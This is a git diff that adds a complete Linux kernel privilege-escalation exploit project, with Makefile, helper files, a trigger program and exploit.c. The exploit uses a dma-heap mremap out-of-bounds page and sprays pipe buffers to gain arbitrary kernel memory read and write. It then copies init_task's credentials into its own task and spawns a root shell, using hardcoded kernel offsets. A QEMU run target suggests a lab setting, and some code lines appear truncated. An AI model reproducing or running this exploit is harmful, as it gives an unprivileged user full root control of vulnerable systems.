diff --git a/exploit_nevsor/.gitignore b/exploit_nevsor/.gitignore new file mode 100644 index 0000000..e4d66e9 --- /dev/null +++ b/exploit_nevsor/.gitignore @@ -0,0 +1,2 @@ +*.o +exploit \ No newline at end of file diff --git a/exploit_nevsor/Makefile b/exploit_nevsor/Makefile new file mode 100644 index 0000000..053bcdf --- /dev/null +++ b/exploit_nevsor/Makefile @@ -0,0 +1,23 @@ +CC=gcc + +SOURCE_FILES = exploit.c dma_buf_t.c pipe_fds_t.c util.c +OBJ_FILES = $(patsubst %.c,%.o,$(SOURCE_FILES)) + +CFLAGS = -static +COBJFLAGS = $(CFLAGS) -c +LDFLAGS = +EXEC_NAME = exploit + +%.o: %.c + $(CC) $^ $(COBJFLAGS) -o $@ + +$(EXEC_NAME): $(OBJ_FILES) + $(CC) $(CFLAGS) $(LDFLAGS) $^ -o $@ + +run: $(EXEC_NAME) + cp $(EXEC_NAME) ../basic_linux_env/host/$(EXEC_NAME) + cd ../basic_linux_env && ./run_qemu.sh + +clean: + rm ./*.o + rm $(EXEC_NAME) \ No newline at end of file diff --git a/exploit_nevsor/dma_buf_t.c b/exploit_nevsor/dma_buf_t.c new file mode 100644 index 0000000..15cc634 --- /dev/null +++ b/exploit_nevsor/dma_buf_t.c @@ -0,0 +1,59 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "dma_buf_t.h" + +static int __dev_fd = -1; +static inline int __get_dev_fd() +{ + if(__dev_fd>=0) + return __dev_fd; + + __dev_fd = open("/dev/dma_heap/system", O_RDWR); + if (__dev_fd < 0) + perror("[-] couldn't open system dma-heap"); + return __dev_fd; +} + +dma_buf_t * create_dma_buf(size_t size) +{ + dma_buf_t* new_buf = malloc(sizeof(*new_buf)); + if(!new_buf) + return NULL; + + struct dma_heap_allocation_data info = {0}; + info.len = size; + info.fd_flags = O_RDWR; + + int dev_fd = __get_dev_fd(); + + /* alloc a `page` array of N_PAGES_ALLOC (i.e. 1 page) */ + int ret = ioctl(dev_fd, DMA_HEAP_IOCTL_ALLOC, &info); + if (ret < 0) + { + perror("[-] couldn't create udmabuf"); + free(new_buf); + return NULL; + } + + new_buf->buf_fd = info.fd; + new_buf->size = info.len; + return new_buf; +} + +void free_dma_buf(dma_buf_t* dma_buf) +{ + if (!dma_buf) + return; + + close(dma_buf->buf_fd); + free(dma_buf); +} \ No newline at end of file diff --git a/exploit_nevsor/dma_buf_t.h b/exploit_nevsor/dma_buf_t.h new file mode 100644 index 0000000..f5c77de --- /dev/null +++ b/exploit_nevsor/dma_buf_t.h @@ -0,0 +1,14 @@ +#ifndef DMA_BUF_T_H +#define DMA_BUF_T_H +#include + +typedef int dma_buf_fd_t; + +typedef struct { + dma_buf_fd_t buf_fd; + size_t size; +} dma_buf_t; + +dma_buf_t* create_dma_buf(size_t size); +void free_dma_buf(dma_buf_t* size); +#endif \ No newline at end of file diff --git a/exploit_nevsor/exploit.c b/exploit_nevsor/exploit.c new file mode 100644 index 0000000..a5f9716 --- /dev/null +++ b/exploit_nevsor/exploit.c @@ -0,0 +1,409 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "pipe_fds_t.h" +#include "pipe_buffer.h" +#include "util.h" +#include "kernel_constants.h" +#include "dma_buf_t.h" + +#define NUM_SPRAY_BUF_PAGES (8) +#define NUM_VICTIM_BUF_PAGES (NUM_SPRAY_BUF_PAGES/2 + 1) +#define NUM_FILL_PAGES (NUM_VICTIM_BUF_PAGES + 20) + +#define NUM_SPRAYS (50) +#define NUM_SPRAY_BUFFERS (50) +#define NUM_SPRAY_PIPES (400) // will spray pipe_buffer into 50 pages + +#define PHYSICAL_MEMORY (2ull << 30) + +// kmalloc-rcl-512 is the largest cache with pagesperslab=1 +#define SIZE_OF_PIPE_BUFFER_PADDED ((sizeof(pipe_buffer) + 7)/8*8) +#define NUM_PIPE_BUFFERS_PER_SPRAY_PIPE (256 / SIZE_OF_PIPE_BUFFER_PADDED) + +dma_buf_t *spray_buffers[NUM_SPRAY_BUFFERS] = {0}; +pipe_fds_t spray_pipes[NUM_SPRAY_PIPES] = {0}; + +intptr_t kernel_base = 0; +intptr_t kernel_base_phys = 0; +intptr_t phys_base = 0; +intptr_t page_offset_base = 0; +intptr_t vmemmap_base = 0; +intptr_t vmalloc_base = 0; + +pipe_buffer *target_pipe_buffer = NULL; +pipe_fds_t *target_pipe_fds = NULL; + +pipe_buffer target_pipe_buffer_backup; + +void init_spray_pipes() +{ + for (size_t i=0; ibuf_fd); + free(spray_buffers[j]); + } + } +} + +void fault_page(char *addr) +{ + char dummy = *(volatile char *)addr; +} + +bool is_pipe_buffer(pipe_buffer *candidate) +{ + intptr_t mask = PAGE_SIZE-1; + if ( (((intptr_t)candidate->ops)&mask) != (ADDR_ANON_PIPE_BUF_OPS&mask) ) + return false; + + printf("[+] found anon_pipe_buf_ops @ %p\n", candidate->ops); + + if (candidate->page == 0 || candidate->len != 8 || candidate->offset != 0) + return false; + + return true; +} + +size_t round_up_to_power_of_2(size_t length) { + if (length*2 < length) + panic("[-] parameter length too large."); + + int power = 1; + while(power < length) + power*=2; + return power; +} + +pipe_buffer *find_target_pipe_buffer(void *uaf_page_addr) { + size_t step_size = round_up_to_power_of_2(sizeof(pipe_buffer)); + + for (pipe_buffer *candidate = (pipe_buffer *)uaf_page_addr; + (void*)candidate < (uaf_page_addr+PAGE_SIZE-sizeof(pipe_buffer)); + candidate = ((void *)candidate)+step_size) { + + if (is_pipe_buffer(candidate)) + return candidate; + } + + return NULL; +} + +intptr_t page_address_from_idx(size_t page_idx) +{ + return vmemmap_base + page_idx * SIZEOF_PAGE_STRUCT; +} + +intptr_t page_address_from_phys(intptr_t physical_address) +{ + return page_address_from_idx(physical_address >> PAGE_SHIFT); +} + +void arbitrary_read(intptr_t addr, char *buf, size_t len) +{ + size_t page_offset = (intptr_t)addr & INV_PAGE_MASK; + if (page_offset+len > PAGE_SIZE) + panic("Can't read over page boundary."); + + target_pipe_buffer->offset = page_offset; + target_pipe_buffer->len = -1; + target_pipe_buffer->page = page_address_from_phys(addr); + + // TODO: calculate the correct page number from virtual? + + read(target_pipe_fds->read_fd, buf, len); +} + +void arbitrary_write(intptr_t addr, char *buf, size_t len) +{ + size_t page_offset = (intptr_t)addr & INV_PAGE_MASK; + if (page_offset+len > PAGE_SIZE) + panic("Can't write over page boundary."); + + target_pipe_buffer->offset = page_offset; + target_pipe_buffer->len = 0; + target_pipe_buffer->page = page_address_from_phys(addr); + + // TODO: calculate the correct page number from virtual? + + write(target_pipe_fds->write_fd, buf, len); +} + +#define DEFINE_ARBITRARY_RW(TYPE, NAME) \ + TYPE arbitrary_read_##NAME(intptr_t addr) { \ + TYPE value; \ + arbitrary_read(addr, (char*)&value, sizeof(TYPE)); \ + return value; \ + } \ + \ + void arbitrary_write_##NAME(intptr_t addr, TYPE value) { \ + arbitrary_write(addr, (char*)&value, sizeof(TYPE)); \ + } + +DEFINE_ARBITRARY_RW(uint64_t, qword) +DEFINE_ARBITRARY_RW(uint32_t, dword) +DEFINE_ARBITRARY_RW(int, int) + +intptr_t kernel_ptr_to_phys(intptr_t addr) +{ + return addr - kernel_base + kernel_base_phys; +} + +intptr_t heap_ptr_to_phys(intptr_t addr) +{ + // return (addr & 0xffffffffull) + 0x100000000ull; + return addr - page_offset_base; +} + +intptr_t find_kernel_phys_base() +{ + for (intptr_t candidate = 0; candidate < PHYSICAL_MEMORY; candidate += MIN_KERNEL_ALIGN) { + if (arbitrary_read_qword(candidate + TEXT_SEGMENT_START) == KERNEL_IMAGE_FIRST_QWORD) { + return candidate; + } + } + return 0; +} + +void spawn_shell() +{ + char* argv[] = { "/bin/sh", NULL }; + if (execve("/bin/sh", argv, NULL) == -1) + panic("[-] could not execve"); +} + +int main(int argc, char* argv[]) +{ + pipe_fds_t fill_pipe; + printf("[+] creating fill pipe\n"); + init_pipe_fds(&fill_pipe); + resize_pipe(&fill_pipe, PIPE_MAX_PAGES); + + printf("[+] creating empty spray pipes\n"); + init_spray_pipes(); + + printf("[+] allocating %d pages in fill pipe\n", PIPE_MAX_PAGES); + alloc_pipe_pages(&fill_pipe, PIPE_MAX_PAGES); + + printf("[+] spraying dma bufs with %d pages\n", NUM_SPRAY_BUF_PAGES); + do_spray_dma_bufs(); + + printf("[+] freeing %d pages from pipe\n", NUM_FILL_PAGES); + free_pipe_pages(&fill_pipe, NUM_FILL_PAGES); + + printf("[+] creating dma buf with %d pages\n", NUM_VICTIM_BUF_PAGES); + dma_buf_t *dma_buf = create_dma_buf(NUM_VICTIM_BUF_PAGES*PAGE_SIZE); + + printf("[+] spraying pipe buffers\n"); + spray_pipe_buffers(); + + printf("[+] mapping dma buf\n"); + void* mmapped_addr = mmap(NULL, dma_buf->size, + PROT_READ|PROT_WRITE, MAP_SHARED, dma_buf->buf_fd, 0); + if (mmapped_addr == MAP_FAILED) + panic("[-] couldn't map memory"); + + printf("[+] expanding dma buf by one page\n"); + void *remapped_addr = mremap(mmapped_addr, dma_buf->size, dma_buf->size+PAGE_SIZE, MREMAP_MAYMOVE); + if(remapped_addr==MAP_FAILED) + panic("[-] couldn't mremap memory"); + + char *uaf_page_addr = remapped_addr+dma_buf->size; + + printf("[+] accessing OOB page\n"); + fault_page(uaf_page_addr); + + printf("[+] beginning of OOB page:\n"); + hexdump(uaf_page_addr, 0x100); + + printf("[+] writing to spray pipes\n"); + + for (int i=0; ipage & 0xfffffffff0000000; + printf("[+] vmemmap_base = %p\n", vmemmap_base); + + kernel_base = target_pipe_buffer->ops - ADDR_ANON_PIPE_BUF_OPS; + printf("[+] kernel_base = %p\n", kernel_base); + + // Somewhere after this point the exploit corrupts the kernel. + printf("[+] Trying to find kernel image in physical memory\n"); + if (!(kernel_base_phys = find_kernel_phys_base())) { + printf("[-] Could not find kernel image\n"); + goto out; + } + printf("[+] Found kernel image at physical address %p\n", kernel_base_phys); + + page_offset_base = arbitrary_read_qword(kernel_base_phys + ADDR_PAGE_OFFSET_BASE); + printf("[+] page_offset_base = %p\n", page_offset_base); + vmalloc_base = arbitrary_read_qword(kernel_base_phys + ADDR_VMALLOC_BASE); + printf("[+] vmalloc_base = %p\n", vmalloc_base); + if (vmemmap_base != arbitrary_read_qword(kernel_base_phys + ADDR_VMEMMAP_BASE)) + panic("[-] expected value for vmemmap_base"); + + printf("[+] phys_base = %p\n", arbitrary_read_qword(kernel_base_phys + ADDR_PHYS_BASE)); + printf("[+] kernel_base_phys = %p\n", kernel_base_phys); + + char buf[0x40]; + arbitrary_read(kernel_base_phys + ADDR_INIT_TASK + OFFSET_COMM_IN_TASK_STRUCT, buf, 0x40); + printf("[+] init_task->comm = \"%s\"\n", buf); + + printf( + "[+] init_task->pid = %d\n", + arbitrary_read_int(kernel_base_phys + ADDR_INIT_TASK + OFFSET_PID_IN_TASK_STRUCT) + ); + + printf("[+] init_task->tasks->next = %p\n", arbitrary_read_qword( + kernel_base_phys + ADDR_INIT_TASK + OFFSET_TASKS_IN_TASK_STRUCT + OFFSET_NEXT_IN_LIST_HEAD + )); + + printf("[+] init_task->tasks->prev = %p\n", arbitrary_read_qword( + kernel_base_phys + ADDR_INIT_TASK + OFFSET_TASKS_IN_TASK_STRUCT + OFFSET_PREV_IN_LIST_HEAD + )); + + intptr_t root_cred = arbitrary_read_qword( + kernel_base_phys + ADDR_INIT_TASK + OFFSET_CRED_IN_TASK_STRUCT + ); + + intptr_t root_real_cred = arbitrary_read_qword( + kernel_base_phys + ADDR_INIT_TASK + OFFSET_REAL_CRED_IN_TASK_STRUCT + ); + + intptr_t task = arbitrary_read_qword( + kernel_base_phys + ADDR_INIT_TASK + OFFSET_TASKS_IN_TASK_STRUCT + OFFSET_PREV_IN_LIST_HEAD + ) - OFFSET_TASKS_IN_TASK_STRUCT; + + pid_t our_pid = getpid(); + printf("[+] our_pid = %d\n", our_pid); + while (1) { + printf("[+] task = %p\n", task); + + arbitrary_read( + heap_ptr_to_phys(task + OFFSET_COMM_IN_TASK_STRUCT), + buf, + 0x40 + ); + printf("[+] task->comm = \"%s\"\n", buf); + + pid_t task_pid = arbitrary_read_int( + heap_ptr_to_phys(task + OFFSET_PID_IN_TASK_STRUCT) + ); + printf("[+] task->pid = %d\n", task_pid); + + if (task_pid == our_pid) { + printf("[+] Found our own task_struct\n"); + break; + } + + printf("[+] task->tasks->next = %p\n", arbitrary_read_qword( + heap_ptr_to_phys(task + OFFSET_TASKS_IN_TASK_STRUCT + OFFSET_NEXT_IN_LIST_HEAD) + )); + + printf("[+] task->tasks->prev = %p\n", arbitrary_read_qword( + heap_ptr_to_phys(task + OFFSET_TASKS_IN_TASK_STRUCT + OFFSET_PREV_IN_LIST_HEAD) + )); + + intptr_t next_task = arbitrary_read_qword( + heap_ptr_to_phys(task + OFFSET_TASKS_IN_TASK_STRUCT + OFFSET_PREV_IN_LIST_HEAD) + ) - OFFSET_TASKS_IN_TASK_STRUCT; + + if (next_task == task) { + printf("[-] Did not find our own task in task list\n"); + goto out; + } + + task = next_task; + } + + printf("[+] current creds: "); + fflush(stdout); + system("id"); + + printf("[+] overwriting our creds with root creds\n"); + arbitrary_write_qword( + heap_ptr_to_phys(task + OFFSET_CRED_IN_TASK_STRUCT), + root_cred + ); + arbitrary_write_qword( + heap_ptr_to_phys(task + OFFSET_REAL_CRED_IN_TASK_STRUCT), + root_real_cred + ); + + printf("[+] new creds: "); + fflush(stdout); + system("id"); + + printf("[+] spawning root shell\n"); + spawn_shell(); + +out: + printf("[ ] restoring the state of target_pipe_buffer\n"); + target_pipe_buffer_backup = *target_pipe_buffer; + +out1: + printf("[ ] freeing OOB page with MADV_DONTNEED\n"); + madvise(uaf_page_addr, PAGE_SIZE, MADV_DONTNEED); + + printf("[ ] closing dma_buf\n"); + free_dma_buf(dma_buf); + + printf("[ ] closing spray pipes\n"); + destroy_spray_pipes(); + + printf("[ ] destroying fill pipe\n"); + destroy_pipe_fds(&fill_pipe); + + return 0; +} \ No newline at end of file diff --git a/exploit_nevsor/kernel_constants.h b/exploit_nevsor/kernel_constants.h new file mode 100644 index 0000000..38510f4 --- /dev/null +++ b/exploit_nevsor/kernel_constants.h @@ -0,0 +1,37 @@ +#define PAGE_SHIFT 12 +#define PAGE_SIZE 4096 +#define PAGE_MASK (~(PAGE_SIZE-1)) +#define INV_PAGE_MASK (PAGE_SIZE-1) + +#define __START_KERNEL_map (0xffffffff80000000) +#define PHYSICAL_START (0x1000000) +#define TEXT_SEGMENT_START (0xffffffff81000000 - __START_KERNEL_map) + +#define ADDR_ANON_PIPE_BUF_OPS (0xffffffff8201acc0 - __START_KERNEL_map) +#define ADDR_INIT_TASK (0xffffffff82414940 - __START_KERNEL_map) +#define ADDR_LINUX_BANNER (0xffffffff820001a0 - __START_KERNEL_map) + +#define OFFSET_CRED_IN_TASK_STRUCT (0x658) +#define OFFSET_REAL_CRED_IN_TASK_STRUCT (OFFSET_CRED_IN_TASK_STRUCT - sizeof(void*)) +// #define OFFSET_COMM_IN_TASK_STRUCT (0x498) +#define OFFSET_COMM_IN_TASK_STRUCT (OFFSET_CRED_IN_TASK_STRUCT + 0x10) +#define OFFSET_SCHEDINFO_IN_TASK_STRUCT (0x378) +#define OFFSET_PUSHABLE_TASK_IN_TASK_STRUCT (0x3c0) // +- a few pointers +#define SIZEOF_SCHEDINFO (0x20) +#define OFFSET_TASKS_IN_TASK_STRUCT (OFFSET_SCHEDINFO_IN_TASK_STRUCT+SIZEOF_SCHEDINFO) +#define OFFSET_PID_IN_TASK_STRUCT (0x498) +#define OFFSET_TGID_IN_TASK_STRUCT (0x49c) + +#define OFFSET_NEXT_IN_LIST_HEAD (0) +#define OFFSET_PREV_IN_LIST_HEAD (sizeof(void*)) + +#define ADDR_PHYS_BASE (0xffffffff82414010 - __START_KERNEL_map) +#define ADDR_PAGE_OFFSET_BASE (0xffffffff822e6450 - __START_KERNEL_map) +#define ADDR_VMALLOC_BASE (0xffffffff822e6448 - __START_KERNEL_map) +#define ADDR_VMEMMAP_BASE (0xffffffff822e6440 - __START_KERNEL_map) + +#define SIZEOF_PAGE_STRUCT (0x40) + +#define MIN_KERNEL_ALIGN (1<<21) + +#define KERNEL_IMAGE_FIRST_QWORD (0x4801403f51258d48) \ No newline at end of file diff --git a/exploit_nevsor/pipe_buffer.h b/exploit_nevsor/pipe_buffer.h new file mode 100644 index 0000000..883e78d --- /dev/null +++ b/exploit_nevsor/pipe_buffer.h @@ -0,0 +1,18 @@ +typedef struct { + intptr_t page; + unsigned int offset, len; + intptr_t ops; + unsigned int flags; + unsigned long private_data; +} pipe_buffer; + +void print_pipe_buffer(char *name, pipe_buffer *addr) +{ + printf("[+] %s is @ %p:\n", name, addr); + printf("[+] \t.page = %p\n", addr->page); + printf("[+] \t.offset = %d\n", addr->offset); + printf("[+] \t.len = %d\n", addr->len); + printf("[+] \t.ops = %p\n", addr->ops); + printf("[+] \t.flags = 0x%x\n", addr->flags); + printf("[+] \t.private_data = %p\n", addr->private_data); +} \ No newline at end of file diff --git a/exploit_nevsor/pipe_fds_t.c b/exploit_nevsor/pipe_fds_t.c new file mode 100644 index 0000000..348f00d --- /dev/null +++ b/exploit_nevsor/pipe_fds_t.c @@ -0,0 +1,150 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "kernel_constants.h" + +#include "pipe_fds_t.h" +#include + +int raw_syscall_pipe(int *fildes) +{ + return syscall(__NR_pipe, fildes); +} + +int raw_syscall_fcntl(int fildes, int op, int arg) +{ + return syscall(__NR_fcntl, fildes, op, arg); +} + +void init_pipe_fds(pipe_fds_t *pipe_fds) +{ + int fds[2] = {0}; + check_error( + raw_syscall_pipe(fds), + "[-] Error while creating pipe.\n" + ); + + pipe_fds->num_pages = PIPE_NUM_PAGES_START; + pipe_fds->num_pages_in_use = 0; + // pipe_fds->zero_buffer = calloc(PIPE_MAX_PAGES*PAGE_SIZE/sizeof(char), sizeof(char)); + pipe_fds->has_cached_page = false; + + pipe_fds->read_fd = fds[0]; + pipe_fds->write_fd = fds[1]; +} + +void destroy_pipe_fds(pipe_fds_t *pipe_fds) +{ + // free(pipe_fds->zero_buffer); + close(pipe_fds->read_fd); + close(pipe_fds->write_fd); +} + +void pipe_read_page(pipe_fds_t *pipe_fds, char *buffer) +{ + pipe_fds->has_cached_page = true; + if (pipe_fds->num_pages_in_use == 0) + panic("[-] Can't read from empty pipe"); + pipe_fds->num_pages_in_use--; + + if (PAGE_SIZE != read(pipe_fds->read_fd, buffer, PAGE_SIZE)) + panic("[-] Error while reading from pipe"); +} + +void pipe_write_page(pipe_fds_t *pipe_fds, char *buffer) +{ + pipe_fds->has_cached_page = false; + if (pipe_fds->num_pages_in_use == pipe_fds->num_pages) + panic("[-] Can't write to full pipe"); + pipe_fds->num_pages_in_use++; + + if (PAGE_SIZE != read(pipe_fds->read_fd, buffer, PAGE_SIZE)) + panic("[-] Error while reading from pipe"); +} + +void pipe_read_pages(pipe_fds_t *pipe_fds, size_t num_pages) +{ + if (num_pages == 0) + return; + + pipe_fds->has_cached_page = true; + + if (pipe_fds->num_pages_in_use < num_pages) + panic("[-] Can't read this many pages from the pipe"); + pipe_fds->num_pages_in_use -= num_pages; + + size_t size_to_read = num_pages*PAGE_SIZE/sizeof(char); + if (size_to_read + != read(pipe_fds->read_fd, zero_buffer, size_to_read)) { + panic("[-] Error while reading from pipe"); + }; +} + +void pipe_write_pages(pipe_fds_t *pipe_fds, size_t num_pages) +{ + if (num_pages == 0) + return; + + pipe_fds->has_cached_page = false; + + pipe_fds->num_pages_in_use += num_pages; + if (pipe_fds->num_pages_in_use > pipe_fds->num_pages) + panic("[-] Can't write this many pages to the pipe"); + + size_t size_to_write = num_pages*PAGE_SIZE/sizeof(char); + if (size_to_write + != write(pipe_fds->write_fd, zero_buffer, size_to_write)) { + panic("[-] Error while writing to pipe"); + }; +} + +void alloc_pipe_pages(pipe_fds_t *pipe_fds, size_t num_pages) +{ + if (num_pages == 0) + return; + + if (pipe_fds->has_cached_page) + num_pages += 1; + + pipe_write_pages(pipe_fds, num_pages); +} + +void free_pipe_pages(pipe_fds_t *pipe_fds, size_t num_pages) +{ + if (num_pages == 0) + return; + + if (!pipe_fds->has_cached_page) + num_pages += 1; + + pipe_read_pages(pipe_fds, num_pages); +} + +void resize_pipe(pipe_fds_t *pipe_fds, size_t num_pages) +{ + check_error( + raw_syscall_fcntl(pipe_fds->read_fd, F_SETPIPE_SZ, num_pages*PAGE_SIZE), + "[-] Error while resizing pipe.\n" + ); + + pipe_fds->num_pages = num_pages; +} + +uint64_t pipe_read_qword(pipe_fds_t *pipe_fds) { + char buf[sizeof(uint64_t)]; + read(pipe_fds->read_fd, buf, sizeof(uint64_t)); + return *((uint64_t*)buf); +} + +void pipe_write_qword(pipe_fds_t *pipe_fds, uint64_t value) { + char buf[sizeof(value)]; + *(uint64_t*)buf = value; + write(pipe_fds->write_fd, buf, sizeof(value)); +} \ No newline at end of file diff --git a/exploit_nevsor/pipe_fds_t.h b/exploit_nevsor/pipe_fds_t.h new file mode 100644 index 0000000..41c8bec --- /dev/null +++ b/exploit_nevsor/pipe_fds_t.h @@ -0,0 +1,41 @@ +#ifndef PIPE_FDS_T_H +#define PIPE_FDS_T_H +#include +#include +#include + +#include "kernel_constants.h" + +typedef int pipe_fd_t; + +#define PIPE_NUM_PAGES_START (16) +#define PIPE_MAX_PAGES (256) + +static char zero_buffer[PIPE_MAX_PAGES*PAGE_SIZE] = {0}; + +typedef struct { + pipe_fd_t read_fd; + pipe_fd_t write_fd; + size_t num_pages_in_use; + size_t num_pages; + bool has_cached_page; +} pipe_fds_t; + +void init_pipe_fds(pipe_fds_t *pipe_fds); +void destroy_pipe_fds(pipe_fds_t *pipe_fds); + +void pipe_read_page(pipe_fds_t *pipe_fds, char *buffer); +void pipe_write_page(pipe_fds_t *pipe_fds, char *buffer); + +void pipe_read_pages(pipe_fds_t *pipe_fds, size_t num_pages); +void pipe_write_pages(pipe_fds_t *pipe_fds, size_t num_pages); + +void alloc_pipe_pages(pipe_fds_t *pipe_fds, size_t num_pages); +void free_pipe_pages(pipe_fds_t *pipe_fds, size_t num_pages); + +void resize_pipe(pipe_fds_t *pipe_fds, size_t num_pages); + +uint64_t pipe_read_qword(pipe_fds_t *pipe_fds); +void pipe_write_qword(pipe_fds_t *pipe_fds, uint64_t value); + +#endif \ No newline at end of file diff --git a/exploit_nevsor/signalfd.h b/exploit_nevsor/signalfd.h new file mode 100644 index 0000000..e69de29 diff --git a/exploit_nevsor/trigger.c b/exploit_nevsor/trigger.c new file mode 100644 index 0000000..51b6a69 --- /dev/null +++ b/exploit_nevsor/trigger.c @@ -0,0 +1,52 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include "dma_buf_t.h" + +#define N_PAGES 7 +#define PAGE_SIZE 0x1000 +#define errx(ret_code, msg) do{perror(msg); exit(ret_code);} while(0); + +#define NUM_SPRAYS (10) +#define NUM_SPRAY_BUFFERS (64) + +dma_buf_t *spray_buffers[NUM_SPRAY_BUFFERS] = {0}; + +void spray() +{ + for (int i=0; ibuf_fd); + } + } +} + +int main(int argc, char* argv[]) +{ + printf("[+] creating dma buf\n"); + dma_buf_t *dma_buf = dma_buf_create(N_PAGES*PAGE_SIZE); + if(!dma_buf) + errx(1, "[-] couldn't create dma buf"); + + printf("[+] mapping dma buf\n"); + void* addr = mmap(NULL, dma_buf->size, + PROT_READ|PROT_WRITE, MAP_SHARED, dma_buf->buf_fd, 0); + if (addr == MAP_FAILED) + errx(1, "[-] couldn't map memory"); + + printf("[+] expanding dma buf by one page\n"); + void* remapped_addr = mremap(addr, dma_buf->size, dma_buf->size+PAGE_SIZE, MREMAP_MAYMOVE); + if(remapped_addr==MAP_FAILED) + errx(1, "[-] couldn't mremap memory"); + + printf("[+] accessing OOB page\n"); + *((char*)remapped_addr+dma_buf->size) = 0; +} \ No newline at end of file diff --git a/exploit_nevsor/util.c b/exploit_nevsor/util.c new file mode 100644 index 0000000..571e162 --- /dev/null +++ b/exploit_nevsor/util.c @@ -0,0 +1,38 @@ +#include +#include +#include +#include + +void check_error(int error_code, const char *err_message) +{ + if(error_code < 0) { + perror(err_message); + exit(error_code); + } +} + +void panic(const char *message) +{ + perror(message); + exit(-1); +} + +void hexdump(char* addr, size_t len) +{ + const size_t line_size=32; + const size_t group_by = 8; + size_t off = 0; + int64_t rem = len; + printf("hexdump@%p:\n",addr); + while(rem) + { + printf("+0x%04lx:", off); + for(int l_cnt=0; l_cnt